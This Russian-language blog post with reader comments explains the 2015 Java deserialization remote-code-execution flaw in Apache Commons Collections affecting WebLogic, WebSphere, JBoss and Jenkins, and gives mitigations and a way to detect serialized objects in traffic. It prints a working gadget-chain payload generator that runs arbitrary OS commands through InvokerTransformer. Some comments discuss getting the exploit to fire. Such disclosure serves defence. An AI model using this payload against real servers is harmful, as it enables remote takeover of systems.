Вчера в блоге Apache FSF появилась интересная запись. Уязвимым оказалось практически все ПО, которое использует сериализацию и десереализацию данных совместно с apache commons collections и некоторыми другими библиотеками.
Сама уязвимость была описана 6 ноября, а сегодня Oracle выпустил первые патчи к WebLogic.
Кратко
Тип: Удаленное исполнение кода
Опасность: высокая
Уязвимое ПО: Oracle WebLogic, IBM WebSphere, JBoss, Jenkins, OpenNMS и другое ПО с commons collections в classpath.
Описание: Уязвимость позволяет злоумышленнику создать такой пакет сериализованных данных, который при распаковке заставит уязвимый сервер исполнить произвольный код.
Подробно
Факты
- В Java, как и во многих других языках, существует механизм под названием serialization/deserialization, превращающий java-объект в последовательность байт и обратно. Он используется для передачи объектов, например через RMI или http cookie.
- В библиотеке commons collections существует ряд классов ( *Transformer ), которые можно сериализовать
- При некоторых условиях при десереализации InvokerTransformer может исполнить код
- Библиотека commons-collections используется в огромном количестве проектов, включая application servers указанные выше
- Для эксплуатации достаточно иметь данные классы в classpath, использовать ее в своем приложении не обязательно
Payload
Данный пример я честно скопировал из оригинальной статьи и снабдил своими комментариями, они наглядно показывают суть проблемы.
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
Код генерирует объект, десериализация которого приведет к исполнению кода.
Все дело в том, как упаковывается InvokerTransformer, который при распаковке цепочки трансформеров и вызовет Runtime.getRuntime().exec(new String[] { command }), что приведет к исполнению кода в операционной системе.
Комментарий от tbl:
У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().
Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()
Для эксплуатации достаточно сериализовать полученный объект через java.io.ObjectOutputStream и передать его по используемому протоколу.
Примеры эксплуатации представлены в оригинальной статье, сам PoC лежит тут.
Workaround
Для успешной эксплуатации достаточно найти удаленный сервис, который принимает на вход сериализованные данные.
Потенциально уязвимые места:
- HTTP запросы – параметры, cookie, ViewState'ы, заголовки итд
- RMI и RMI over HTTP
- JMX
- Собственные протоколы, передающие сериализованные объекты
Для поиска подобных объектов в трафике своих серверов можно воспользоваться сниффером и поискать последовательность байт "ac ed 00 05 73 72", которая является заголовком любого сериализованного объекта. Не забывайте, что объект может быть обернут в base64 или другое кодирование, в зависимости от типа системы. После нахождения сервисов, принимающих такие объекты, очень желательно изолировать их от внешней сети. Тем временем RedHat Security предлагает просто удалить «вредные» классы из jar-файлов.
P.S. А лучше не используйте сериализацию для внешних данных, ведь никому не известно, сколько еще таких «Трансформеров» существует.
Комментарии (32)
igor_suhorukov
11.11.2015 20:31+1Java сериализация давно уж как моветон
erlioniel
12.11.2015 09:18+1А можно узнать почему? Или вы так неудачно сократили «Java сериализация (для обмена данными с внешними ресурсами) давно уж как моветон»?
igor_suhorukov
12.11.2015 23:26+1Даже внутри распределенного java приложения не часто выбирают java сериализацию из-за производительности, совместимости разных версий объекта, объема данных и прочих связанных с стандартной сериализацией проблем. Достаточно бенчмарков и материалов на тему сериализации
tbl
13.11.2015 00:08О, кстати. У нас тут через JMS передаются объекты (в основном byte[], String и классы, отнаследованные от пары интерфейсов). Что из быстрого использовать вместо сериализации?
igor_suhorukov
13.11.2015 20:10не знаю как с jms, а с Solace API некоторые компании успешно используют avro/protobuff
jorgen
11.11.2015 20:42Отлично, коротко и по делу!
Я так понимаю, проблему не тяжело пофиксить через Security Manager, или кастомный class loader. Общая практика — надо описать разрешённые для загрузки классы (именно загрузка, а не сериализация) и запретить все остальные. Мало ли в какой библиотеке, какая дырка ещё не найдена.kreon
11.11.2015 20:44+1Этакий WAF для Java? Да, интересно, но только внутри той-же сферы сотни тысяч классов. И еще какие-то генерятся в памяти ORM'ами.
И таки да, сериализуются туда-сюда.jorgen
11.11.2015 20:55Согласен, хотя WAF реализовать и легко, толково наполнить разрешениями уже посложнее. Просто у меня перед глазами мой маленький проект с небольшим числом гуляющих по сети классов. Не люблю я энтерпрайз-решения.
vedenin1980
11.11.2015 21:22+1Общая практика
Общая хорошая практика в Java не использовать сериализацию для любых внешних запросов, когда есть Rest, Soup и иже с ними. За десяток лет в Java энтерпрайзе не разу не видел случая использования сериализации для обмена данными с внешними системами и считал само собой разумеющимся, что прием сериализационных классов из недостоверных источников небезопасный от слова совсем.jorgen
11.11.2015 21:59Т.е. вы за «сериализовать только java.lang.String»? Хороший, строгий частный случай ;)
vedenin1980
11.11.2015 23:17+6Нет, я за то чтобы передавать не бинарные объекты, а json или xml, если речь не идет о модулях одной системы. Зачем придумывать хитрые песочницы, которые все равно могут протекать, если намного проще вообще не запускать непонятно от кого исполняемые файлы. Вроде бы пользователи уже привыкли не запускать непонятные exe'шники, какие совершенные антивирусы их не проверили, зачем делать такую же ошибку на сервере? Или другими словами, логичнее стрелять холостыми, чем стрелять боевыми в бронежелет, надеясь что он достаточно крепкий.
akbarovs
11.11.2015 22:07Либо я чего-то не понимаю, но что мешает взять любой протокол, который использует сериализацию/десериализацию, посмотреть какие классы ходят и сделать override default constructor/readObject и там написать что надо. Только нужно чуть больше работы, чем просто взять exploit для commons-collections
kreon
11.11.2015 22:09+1То что при сериализации сериализуются поля, но не методы. При десериализации вызывается конструктор по-умолчанию. А классов на стороне сервера, у которых конструктор может что-то исполнить вот такое, их почти и нету. Собственно InvokerTransformer и есть один из таких классов.
tbl
11.11.2015 22:49+1У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().
Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()
Quetzal
12.11.2015 00:32Red Hat уже выпустили «пресс-релиз» по данной проблеме.
tbl
12.11.2015 01:20> "...remove the «risky» class files (InvokerTransformer, InstantiateFactory, and InstantiateTransfromer) in all commons-collections jars used by your app".
Ещё из spring'а (если используете в своих приложениях) выкинуть org.springframework.beans.factory.support.AutowireUtils, ну может ещё чего найдёте (наверняка есть что-то в классах, обслуживающих xml-конфигурацию приложения). Правда, IoC в Spring после этого вряд ли взлетит.
vektory79
12.11.2015 17:46+1Странно. Хотел попробовать прогнать этот эксплоид на нашем приложении, но что-то пошло не так.
Даже если я просто создаю объект, как написано в статье, сериализую его, а потом тут же десериализую, то получаю ошибку десериализации:
StacktraceException in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set at com.sun.proxy.$Proxy0.entrySet(Unknown Source) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370) at ru.krista.exploid.Exploid1.deserialize(Exploid1.java:113) at ru.krista.exploid.Exploid1.send(Exploid1.java:75) at ru.krista.exploid.Exploid1.main(Exploid1.java:30)
tbl
12.11.2015 17:52Берите лучше отсюда рабочий код.
vektory79
12.11.2015 18:07Спасибо. Но именно от туда и брал. Напоролся вот на это: github.com/frohoff/ysoserial/issues/2
tbl
12.11.2015 17:59+1Если будет во viewstate инжектить, то вот удобная утилита для снятия дампов с viewstate
vektory79
12.11.2015 18:10+1Спасибо. К счастью ViewState'а у нас нету. Но вот то, что в Wildfly все коммуникации повесили на один порт (и http и EJB) — неприятно. Пытаюсь сообразить какие могут быть вектора атаки с учётом нашей инфраструктуры. Но для этого надо иметь на руках рабочий экспоид.
vektory79
12.11.2015 18:30+1Всё. С помощью автора разобрался.
Оказывается ошибка и должна быть. Но она происходит уже после срабатывания уязвимости. Просто я неудачную команду для выполнения выбрал.
echo test > /tmp/hacked.txt
Не работает. А вот
touch /tmp/hacked
уже отрабатывает.tbl
12.11.2015 19:37А, ну шелловскую строку пытались выполнить, надо было /bin/bash -e '...' использовать
tbl
По поводу ViewState: ни в коем случае в web.xml не делать так:
Кстати, Spring и Groovy тоже под ударом, судя по этому.
nopox
… 10 month ago (судя по истории git репозитория)
tbl
Судя по этой январской презентации, Ruby, PHP, Python имеют аналогичные проблемы с десериализацией данных, полученных от недоверенных источников.